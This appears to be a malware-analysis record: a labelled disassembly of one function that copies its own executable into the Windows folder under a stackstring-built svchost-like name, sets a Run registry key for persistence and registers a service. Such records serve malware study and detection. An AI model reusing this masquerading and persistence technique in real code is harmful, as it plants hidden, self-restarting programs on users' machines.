Function at 0x405fa0
Capabilities:
Contain obfuscated stackstrings
Copy file
Persist via run registry key
Set registry value

Disassembly:
mov eax, dword [0x416390]
sub esp, 0x120
push ebx
push ebp
mov ebp, 1
cmp eax, ebp
jne 0x405fbb
call fcn.00405f00
mov ecx, 0x418108
call fcn.00407ce0
mov eax, dword [esp + 0x134]
push str.Win7
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x405fe4
call fcn.00405520
mov ecx, 0x416264
xor ebx, ebx
test ecx, ecx
je 0x406002
push ebp
push ebx
push ebx
push ecx
push 0x405de0
push ebx
push ebx
call fcn.004087f0
add esp, 0x1c
mov eax, dword [0x4161fc]
push esi
cmp eax, ebx
jne 0x4060f5
cmp dword [0x4161f8], ebp
jne 0x4060b8
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x2d]
mov byte [esp + 0x2c], bl
lea edx, [esp + 0x2c]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 6
mov esi, str.C:Windows_
lea edi, [esp + 0x10]
push 0x104
push edx
push ebx
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x10]
push ebx
lea ecx, [esp + 0x30]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea edx, [esp + 0x28]
push edx
push 0xf003f
push ebx
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
pop edi
jne 0x4060a7
mov ecx, dword [esp + 0x24]
lea eax, [esp + 0xc]
push 0x18
push eax
push ebp
push ebx
push 0x417cf4
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00405520
push 0x3c
call esi
jmp 0x4060ad
cmp dword [0x4161f4], ebp
jne 0x4061d8
call fcn.00406560
test eax, eax
je 0x406112
lea eax, [esp + 0xc]
mov dword [esp + 0xc], str.Defghi
push eax
mov dword [esp + 0x14], 0x405990
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
call fcn.00405520
cmp dword [0x4161fc], ebp
jne 0x4061d8
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00405520
push 0x3c
call esi
jmp 0x406107
mov cl, 0x6f
mov al, 0x73
mov byte [esp + 0x13], cl
mov byte [esp + 0x1b], cl
lea ecx, [esp + 0x28]
mov byte [esp + 0x15], al
mov byte [esp + 0x17], al
mov byte [esp + 0x1c], al
push 0xe1
mov dl, 0x5c
mov al, 0x65
push ecx
push ebx
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], 0x3a
mov byte [esp + 0x1a], dl
mov byte [esp + 0x1b], 0x57
mov byte [esp + 0x1c], 0x69
mov byte [esp + 0x1d], 0x6e
mov byte [esp + 0x1e], 0x64
mov byte [esp + 0x20], 0x77
mov byte [esp + 0x22], dl
mov byte [esp + 0x24], 0x76
mov byte [esp + 0x25], 0x63
mov byte [esp + 0x26], 0x68
mov byte [esp + 0x29], 0x74
mov byte [esp + 0x2a], 0x2e
mov byte [esp + 0x2b], al
mov byte [esp + 0x2c], 0x78
mov byte [esp + 0x2d], al
mov byte [esp + 0x2e], bl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0xc]
push ebx
lea eax, [esp + 0x2c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
call fcn.00405400
push str.Defghijk_Mnopqrstu_Wxyabcd_Fghijklm_Opq
push str.Defghi_Klmnopqr_Tuvwxyab_Defg
push str.Defghi
call fcn.004061f0
add esp, 0xc
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00405520
push ebx
call dword [sym.imp.MSVCRT.dll_exit]
pop esi
pop ebp
pop ebx
add esp, 0x120
ret 0x10